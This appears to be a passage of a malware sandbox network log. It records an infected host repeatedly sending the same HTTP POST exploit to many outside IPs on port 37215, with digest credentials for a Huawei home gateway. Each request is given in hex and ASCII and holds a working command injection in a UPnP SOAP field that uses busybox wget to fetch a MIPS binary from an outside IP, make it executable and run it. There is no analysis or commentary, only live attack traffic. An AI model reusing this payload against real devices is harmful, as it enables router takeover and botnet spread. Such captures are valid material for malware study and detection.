Jan 1, 2024 12:55:00.988713026 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:07.132625103 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.13	38540	94.121.21.61	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:57.043353081 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.13	49256	156.224.9.192	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:59.642313004 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:01.212671995 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:03.036645889 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:06.876621008 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 1, 2024 12:55:14.300575018 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.13	34586	156.253.43.227	37215

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2024 12:54:59.700383902 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
